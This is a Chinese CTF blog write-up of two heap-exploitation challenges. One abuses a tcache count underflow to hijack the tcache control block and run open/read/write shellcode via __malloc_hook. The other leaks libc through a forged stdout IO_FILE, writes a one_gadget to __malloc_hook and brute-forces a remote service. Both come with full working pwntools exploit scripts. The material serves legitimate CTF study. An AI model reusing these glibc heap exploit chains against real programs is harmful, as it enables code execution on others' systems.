SWPUCTF_2019_p1KkHeap(负溢出tcache)de1ctf_2019_weapon(IO_FILE泄露libc)

SWPUCTF_2019_p1KkHeap

IDA分析

用IDA反编译发现,此题操作有如下限制
在这里插入图片描述
顺便说一下,buu上的所有ubuntu18的题目都是带tcache-double-free的,其实这不太好,怕养成习惯这样解题。
这里可以看到的是,对delete和add有明显的次数限制,不能简单的tcache-poisoning来泄露libc。本题一开始也是卡在这里,没有别的思路。
之后参考了别人的wp,发现tcache的管理块其实存在一些漏洞。这里记录一下

// tcache结构定义中的部分代码
#if USE_TCACHE  
  /* Maximum number of buckets to use.  */  
  size_t tcache_bins;  
  size_t tcache_max_bytes;  
  /* Maximum number of chunks in each bucket.  */  
  size_t tcache_count; (注意这里是size_t,是unsigned类型) 
  /* Maximum number of chunks to remove from the unsorted list, which 
     aren't used to prefill the cache.  */  
  size_t tcache_unsorted_limit;  
#endif  

//从tcache中取出chunk的代码
/* Caller must ensure that we know tc_idx is valid and there's
   available chunks to remove.  */
static __always_inline void *
tcache_get (size_t tc_idx)
{
  tcache_entry *e = tcache->entries[tc_idx];
  assert (tc_idx < TCACHE_MAX_BINS);
  assert (tcache->counts[tc_idx] > 0);
  tcache->entries[tc_idx] = e->next;
  --(tcache->counts[tc_idx]);
  e->key = NULL;
  return (void *) e;
}


// 往tcache中放入chunk时的代码
#if USE_TCACHE  
  {  
    size_t tc_idx = csize2tidx (size);  
  
    if (tcache  
    && tc_idx < mp_.tcache_bins  
    && tcache->counts[tc_idx] < mp_.tcache_count) 
    (注意这里将counts和tcache->counts相比,而tcache->counts是有符号的) 
      {  
    tcache_put (p, tc_idx);  
    return;  
      }  
  }  
#endif  

可以看出tcache检查的逻辑非常简单,如果当前这个bins中块的个数小于mp_.tcache_count(一个“全局”变量,默认为7)就可以放入,然而tcache->counts[tc_idx]是有符号的。如果tcache->counts[tc_idx]变为-1,那么tcache将永远不会放入新的块,因为有符号数和无符号数比较时,有符号数会变为无符号数。
那么怎么让这个块变为-1呢?利用tcache uaf就可以实现
我们分配两个chunk,记为chunk0,chunk1,并free(0),free(1)此时chunk1就存储了fd为chunk0的头部地址,此时修改chunk0的fd位置即可。如果修改成自身的地址就在tcache中构造了一个循环链表,也即每次add得到的都将是同一块地址,但是tcache的tcache->counts[tc_idx]每次都会减一,就可以造成tcache->counts[tc_idx]值为-1的情况。接下来如果分配并释放一个unsortedbin大小的块,就不会进入该tcache中,而是直接free之后进入unsortedbin。
本体一开始是这样做的,但是system函数老是执行不了,原来是没发现开了沙箱。。。真是大意了
在这里插入图片描述同时也注意到,在0x66660000位置开辟了一段0x1000大小的rwx空间写入shellcode
在这里插入图片描述

思路

利用uaf可以完成泄露libc,之后常规改fd写 malloc_hook或者free_hook
但是delete3次只能完成一次的地址写入(可以控制fd)。我们既要shellcode到目的地址,也要把该地址起始位置写入hook函数中,难以完成。这里又有一种新思路:劫持tcache控制块完成写入。
tcache控制块为堆中地址最小的一块,如下图
在这里插入图片描述
这里红框位置就是每一个tcache中的下一块地址。现在我们的fastbin中显示的就是我们下一个将要分配到的RWX的地址。
可能你会想**那这里chunk的大小为-1不会检查正确性嘛?“看一下源代码便知道了

//__libc_malloc函数,也就是熟知的int_malloc的封装函数
  if (tc_idx < mp_.tcache_bins
      /*&& tc_idx < TCACHE_MAX_BINS*/ /* to appease gcc */
      && tcache
      && tcache->entries[tc_idx] != NULL)//可以看到:只是检验entry位置是否为空
    {
      return tcache_get (tc_idx);
    }
   

这下就清楚了。我们可以在count为-1的情况下malloc出chunk,因为不检查 。
通过修改这里的tcache控制块,就相当于获得了任意地址读写的权利,但是要注意这里add次数和所有操作总次数也是有限的,但是最后证明是可以冗余的。之后就是基本的写入。

exp

from pwn import *
io=process('./SWPUCTF_2019_p1KkHeap')
# io=remote('node4.buuoj.cn',27574)
elf=ELF('./SWPUCTF_2019_p1KkHeap')
context.log_level='debug'
libc=elf.libc
context.arch="amd64"


def add(size):
    io.recvuntil('Choice: ')
    io.sendline(str(1))
    io.recvuntil('size: ')
    io.sendline(str(size))

def edit(index,content):
    io.recvuntil('Choice: ')
    io.sendline(str(3))
    io.recvuntil('id: ')
    io.sendline(str(index))
    io.recvuntil('content: ')
    io.send(content)

def delete(index):
    io.recvuntil('Choice: ')
    io.sendline(str(4))
    io.recvuntil('id: ')
    io.sendline(str(index))

def show(index):
    io.recvuntil('Choice: ')
    io.sendline(str(2))
    io.recvuntil('id: ')
    io.sendline(str(index))

def debug():
    gdb.attach(io,"brva 0xE1E")
    add(0)
# hijack stdout?

# double free new idea: fake chunk_idx to realize infinity write


tcache="""
#if USE_TCACHE  
  /* Maximum number of buckets to use.  */  
  size_t tcache_bins;  
  size_t tcache_max_bytes;  
  /* Maximum number of chunks in each bucket.  */  
  size_t tcache_count;  
  /* Maximum number of chunks to remove from the unsorted list, which 
     aren't used to prefill the cache.  */  
  size_t tcache_unsorted_limit;  
#endif  
"""


tcache_extract_chunk="""
#if USE_TCACHE  
  {  
    size_t tc_idx = csize2tidx (size);  
  
    if (tcache  
    && tc_idx < mp_.tcache_bins  
    && tcache->counts[tc_idx] < mp_.tcache_count)  
      {  
    tcache_put (p, tc_idx);  
    return;  
      }  
  }  
#endif  
"""


hint="""
note that tcache_count is unsigned and tcache-<count is signed, if tcache_counts is below zero, 
chunks will never be put back into tcache
"""


add(0x90)#idx0
delete(0)
delete(0)# construct circle chain
# debug()
show(0)
io.recvuntil('content: ')
heap_info=u64(io.recv(6).ljust(8,'\x00'))
print "heap_info----->" + hex(heap_info)
add(0x90)#idx1
edit(1,p64(heap_info-0x1d0))
print "control head----->" + hex(heap_info-0x1d0)

add(0x90)#idx2 nothing
add(0x90)#idx3, contorl head
add(0x20)#idx4 protect
delete(1)# put into unsorted bins
show(2)
libc_info=u64(io.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
print "libc_info----->" + hex(libc_info)
libc_base=libc_info-0x3ebca0
print "libc_base----->" + hex(libc_base)
free_hook=libc_base+libc.sym['__free_hook']
print "free_hook----->" + hex(free_hook)
malloc_hook=libc_base+libc.sym['__malloc_hook']
print "malloc_hook----->" + hex(malloc_hook)


edit(3,p64(0x66660000))# change control head
place=0x66660000
# debug()
add(0x90)#idx5, vmmap place
# show(5)
# debug()
payload=asm(shellcraft.open('./flag'))
payload+=asm(shellcraft.read(3,place+0x100,0x50))
payload+=asm(shellcraft.write(1,place+0x100,0x50))

# print len(payload)
# debug()

edit(5,payload)# write to mmap place

# debug()
edit(3,p64(malloc_hook))
add(0x90)#idx6
payload2=p64(place)
edit(6,payload2)
add(0x0)



io.interactive()

总结

本题学到了怎么利用UAF欺骗tcache,达到在有限delete情况下获取libc地址,堆地址的方法,并加深了tcache entey劫持方法的理解。实际上21国赛也有一道题类似,不过是直接劫持的tcache中counts[tc_idx]部分。本题因为要写两次,所以不能通过国赛的方法放到unsortedbins中。

de1ctf_2019_weapon

IDA分析

这道题一看是没有show函数,和上题一样的libc,那么应该是劫持IO_FILE泄露。然而这道题也有一个小问题,就是不能构造大小在unsortedbins中的chunk,如下图
在这里插入图片描述那么问题就是:怎么创造unsortedbin大小的chunk以及怎么泄露libc。这里还想了一下,关键其实还是uaf太好用了,我们可以直接伪造chunk,利用overlap来利用victim的上一个块修改victim的size位置,从而完成大小修改。这里要注意需要伪造很多细节,有可能会记不全,但没关系,出现什么报错在源代码里面找一下,伪装上去就可以了。
这一部分如下图,反正调试了挺久的,一开始想好了一块写也可以。

add(0,0x30,'a'*0x30)
add(1,0x30,'a'*0x30)
add(2,0x30,'a'*0x20+p64(0xa0)+p64(0x21))
add(3,0x10,p64(0x20)+p64(0x31))


edit(0,p64(0)+p64(0x41))# fake chunk
delete(2)
delete(1)
edit(1,p8(0x10))
add(2,0x30,p64(0xdeadbabe))# fake prev_size
add(3,0x30,p64(0xdeadbeef))#fake chunk
#first put into fastbin
edit(0,p64(0)+p64(0x71))
delete(3)# put into fastbin

edit(0,p64(0)+p64(0xa1))# unsortedbin size
delete(3)

接下来就可以从idx为3的chunk中获取libc地址了。这里也是比较巧妙,构造的chunk的在unsortedbin中的fd位置恰好是另外一个chunk在fastbin中的fd位置(为了完成这样的构造,需要先free小块,再free unsortedbin中的块)这样edit unsortedbin中的块的fd,也能反映到fastbin的fd上,也就可以完成写入IO_STDOUT。
由于在fastbin中,需要大小为7f,因此寻找IO_STDOUT附近7f的chunk,确实能在上方找到,而且大小小于0x68,能够分配到

edit(0,p64(0)+p64(0xa1))# unsortedbin size
delete(3)
edit(0,p64(0)+p64(0x71))
edit(3,p8(0xdd)+p8(0x65))# stdout nearby \x7f place,需要爆破
payload='a'*51+p64(0xfbad1800)+p64(0)*3+p8(0x58) #padding+important payload
# debug()
add(1,0x60,'pp')
add(2,0x60,payload)
# add(6,0x30,'aaa')
libc_info = u64(io.recvuntil('\x7f',timeout=0.2)[-6:].ljust(8,'\x00'))
libc_base=libc_info-0x3c56a3# 通过调试看出
if((libc_base&0xfff)!=0):
    exit(-1)
# add(6,0x30,'aaa')
print "libc_info----->" + hex(libc_info)
print "libc_base----->" + hex(libc_base)
malloc_hook=libc_base+libc.sym['__malloc_hook']

这里记录两个对调试比较有效的命令
注意关键payload这里原理参考
http://www.pwn4fun.com/pwn/io-2-1-stdout-leak-libc.html

set{long long}addr=value #使用gdb修改内存
p stdout #打印出stdout的地址

之后就可以爆破了,成功后往malloc_hook写入one_gadget即可。又忘记怎么写爆破了,看了看之前做的题目才想起来。。。

exp

from pwn import *
io=process('./de1ctf_2019_weapon')
elf=ELF('./de1ctf_2019_weapon')
libc=elf.libc
context.log_level='debug'
def add(index,size,con):
    io.recvuntil('choice >>')
    io.sendline(str(1))
    io.recvuntil('weapon: ')
    io.sendline(str(size))
    io.recvuntil('index: ')
    io.sendline(str(index))
    io.recvuntil('name:')
    io.send(con)


def delete(index):
    io.recvuntil('choice >>')
    io.sendline(str(2))
    io.recvuntil('idx :')
    io.sendline(str(index))

def edit(index,con):
    io.recvuntil('choice >>')
    io.sendline(str(3))
    io.recvuntil('idx:')
    io.sendline(str(index))
    io.recvuntil('content:')
    io.send(con)



def debug():
    gdb.attach(io,"brva 0xd59")
    edit(0,p64(0))



def pwn():

    add(0,0x30,'a'*0x30)
    add(1,0x30,'a'*0x30)
    add(2,0x30,'a'*0x20+p64(0xa0)+p64(0x21))
    add(3,0x10,p64(0x20)+p64(0x31))


    edit(0,p64(0)+p64(0x41))# fake chunk
    delete(2)
    delete(1)
    edit(1,p8(0x10))
    add(2,0x30,p64(0xdeadbabe))# fake prev_size
    add(3,0x30,p64(0xdeadbeef))#fake chunk
    #first put into fastbin
    edit(0,p64(0)+p64(0x71))
    delete(3)# put into fastbin

    edit(0,p64(0)+p64(0xa1))# unsortedbin size
    delete(3)
    edit(0,p64(0)+p64(0x71))
    edit(3,p8(0xdd)+p8(0x65))# stdout nearby \x7f place
    payload='a'*51+p64(0xfbad1800)+p64(0)*3+p8(0x58) #padding+important payload
    # debug()
    add(1,0x60,'pp')
    add(2,0x60,payload)
    # add(6,0x30,'aaa')
    libc_info = u64(io.recvuntil('\x7f',timeout=0.2)[-6:].ljust(8,'\x00'))
    libc_base=libc_info-0x3c56a3
    if((libc_base&0xfff)!=0):
        exit(-1)
    # add(6,0x30,'aaa')
    print "libc_info----->" + hex(libc_info)
    print "libc_base----->" + hex(libc_base)
    malloc_hook=libc_base+libc.sym['__malloc_hook']

    one_gadget=[0x45216,0x4526a,0xf02a4,0xf1147]
    add(4,0x60,'aaa')
    delete(4)#fastbin
    edit(4,p64(malloc_hook-0x23))
    add(5,0x60,'nicholas')
    add(6,0x60,'a'*0x13+p64(one_gadget[3]+libc_base))


    io.recvuntil('choice >>')
    io.sendline(str(1))
    io.recvuntil('weapon: ')
    io.sendline(str(0x20))
    io.recvuntil('index: ')
    io.sendline(str(8))

if __name__ == '__main__':
    while(1):
        try:
            io=remote('node4.buuoj.cn',29261)
            # io=process('./de1ctf_2019_weapon')
            pwn()
            io.interactive()
            break
        except Exception as e:
            io.close()
            continue

本地
在这里插入图片描述
远程
在这里插入图片描述

总结

回顾了一下利用IO_STDOUT泄露libc的方法。这里其实还是比较特殊的,因为unsortedbin和fastbin会有重叠,如果没有,该怎么做呢这还是个问题。除此以外,复习了一下爆破的方法。注意,爆破的方法可以使用double-free来清空栈,提高one_gardet的成功率因此,多焚香沐浴之后再做题。

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值